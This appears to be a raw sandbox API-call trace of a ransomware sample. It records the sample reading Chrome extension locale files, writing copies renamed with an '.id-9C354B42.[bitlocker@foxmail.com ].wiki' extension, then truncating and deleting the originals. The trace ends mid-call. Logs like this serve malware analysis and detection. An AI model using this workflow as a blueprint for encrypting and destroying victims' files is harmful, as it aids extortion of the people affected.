[0175.162] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.162] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json") returned 151 [0175.162] lstrlenW (lpString=".jpg") returned 4 [0175.162] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.162] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.162] lstrlenW (lpString="messages.json") returned 13 [0175.162] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.163] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=282) returned 1 [0175.163] CloseHandle (hObject=0x1b4) returned 1 [0175.163] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json")) returned 0x2020 [0175.163] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.163] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.163] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.163] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.163] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.164] GetLastError () returned 0x0 [0175.164] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x11a, lpOverlapped=0x0) returned 1 [0175.166] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x120, lpOverlapped=0x0) returned 1 [0175.167] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.167] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.167] SetEndOfFile (hFile=0x19c) returned 1 [0175.167] CloseHandle (hObject=0x19c) returned 1 [0175.167] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.167] SetEndOfFile (hFile=0x1b4) returned 1 [0175.168] CloseHandle (hObject=0x1b4) returned 1 [0175.168] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.168] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json")) returned 1 [0175.169] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json") returned 151 [0175.169] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json") returned 151 [0175.169] lstrlenW (lpString=".doc") returned 4 [0175.169] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.169] lstrlenW (lpString=".docx") returned 5 [0175.169] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.169] lstrlenW (lpString=".pdf") returned 4 [0175.169] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.169] lstrlenW (lpString=".xls") returned 4 [0175.169] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.169] lstrlenW (lpString=".xlsx") returned 5 [0175.169] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.169] lstrlenW (lpString=".ppt") returned 4 [0175.169] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.169] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json") returned 151 [0175.169] lstrlenW (lpString=".zip") returned 4 [0175.169] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.169] lstrlenW (lpString=".rar") returned 4 [0175.169] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.169] lstrlenW (lpString=".bz2") returned 4 [0175.169] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.169] lstrlenW (lpString=".7z") returned 3 [0175.169] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.169] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json") returned 151 [0175.169] lstrlenW (lpString=".dbf") returned 4 [0175.169] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.169] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json") returned 151 [0175.169] lstrlenW (lpString=".1cd") returned 4 [0175.169] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.170] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json") returned 151 [0175.170] lstrlenW (lpString=".jpg") returned 4 [0175.170] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.170] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json") returned 151 [0175.170] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json") returned 151 [0175.170] lstrlenW (lpString=".doc") returned 4 [0175.170] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.170] lstrlenW (lpString=".docx") returned 5 [0175.170] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.170] lstrlenW (lpString=".pdf") returned 4 [0175.170] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.170] lstrlenW (lpString=".xls") returned 4 [0175.170] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.170] lstrlenW (lpString=".xlsx") returned 5 [0175.170] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.170] lstrlenW (lpString=".ppt") returned 4 [0175.170] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.170] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json") returned 151 [0175.170] lstrlenW (lpString=".zip") returned 4 [0175.170] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.170] lstrlenW (lpString=".rar") returned 4 [0175.170] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.170] lstrlenW (lpString=".bz2") returned 4 [0175.170] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.170] lstrlenW (lpString=".7z") returned 3 [0175.170] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.170] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json") returned 151 [0175.170] lstrlenW (lpString=".dbf") returned 4 [0175.170] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.171] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json") returned 151 [0175.171] lstrlenW (lpString=".1cd") returned 4 [0175.171] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.171] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json") returned 151 [0175.171] lstrlenW (lpString=".jpg") returned 4 [0175.171] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.171] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.171] lstrlenW (lpString="messages.json") returned 13 [0175.171] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.171] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=235) returned 1 [0175.171] CloseHandle (hObject=0x1b4) returned 1 [0175.172] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json")) returned 0x2020 [0175.172] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.172] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.172] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.172] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.172] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.172] GetLastError () returned 0x0 [0175.172] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xeb, lpOverlapped=0x0) returned 1 [0175.173] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.174] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.174] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.175] SetEndOfFile (hFile=0x19c) returned 1 [0175.175] CloseHandle (hObject=0x19c) returned 1 [0175.175] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.175] SetEndOfFile (hFile=0x1b4) returned 1 [0175.176] CloseHandle (hObject=0x1b4) returned 1 [0175.176] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.176] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json")) returned 1 [0175.176] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json") returned 151 [0175.176] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json") returned 151 [0175.176] lstrlenW (lpString=".doc") returned 4 [0175.176] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.176] lstrlenW (lpString=".docx") returned 5 [0175.176] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.176] lstrlenW (lpString=".pdf") returned 4 [0175.176] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.176] lstrlenW (lpString=".xls") returned 4 [0175.176] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.176] lstrlenW (lpString=".xlsx") returned 5 [0175.176] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.333] lstrlenW (lpString=".ppt") returned 4 [0175.333] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.333] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json") returned 151 [0175.333] lstrlenW (lpString=".zip") returned 4 [0175.333] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.333] lstrlenW (lpString=".rar") returned 4 [0175.333] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.333] lstrlenW (lpString=".bz2") returned 4 [0175.333] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.333] lstrlenW (lpString=".7z") returned 3 [0175.333] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.333] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json") returned 151 [0175.333] lstrlenW (lpString=".dbf") returned 4 [0175.333] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.333] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json") returned 151 [0175.333] lstrlenW (lpString=".1cd") returned 4 [0175.333] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.333] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json") returned 151 [0175.333] lstrlenW (lpString=".jpg") returned 4 [0175.333] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.333] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json") returned 151 [0175.333] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json") returned 151 [0175.334] lstrlenW (lpString=".doc") returned 4 [0175.334] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.334] lstrlenW (lpString=".docx") returned 5 [0175.334] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.334] lstrlenW (lpString=".pdf") returned 4 [0175.334] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.334] lstrlenW (lpString=".xls") returned 4 [0175.334] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.334] lstrlenW (lpString=".xlsx") returned 5 [0175.334] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.334] lstrlenW (lpString=".ppt") returned 4 [0175.334] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.334] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json") returned 151 [0175.334] lstrlenW (lpString=".zip") returned 4 [0175.334] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.334] lstrlenW (lpString=".rar") returned 4 [0175.334] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.334] lstrlenW (lpString=".bz2") returned 4 [0175.334] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.334] lstrlenW (lpString=".7z") returned 3 [0175.334] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.334] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json") returned 151 [0175.334] lstrlenW (lpString=".dbf") returned 4 [0175.334] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.334] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json") returned 151 [0175.334] lstrlenW (lpString=".1cd") returned 4 [0175.334] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.334] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json") returned 151 [0175.334] lstrlenW (lpString=".jpg") returned 4 [0175.334] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.335] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.335] lstrlenW (lpString="messages.json") returned 13 [0175.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.335] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=254) returned 1 [0175.335] CloseHandle (hObject=0x19c) returned 1 [0175.335] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json")) returned 0x2020 [0175.335] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.335] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.336] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.336] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.336] GetLastError () returned 0x0 [0175.336] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xfe, 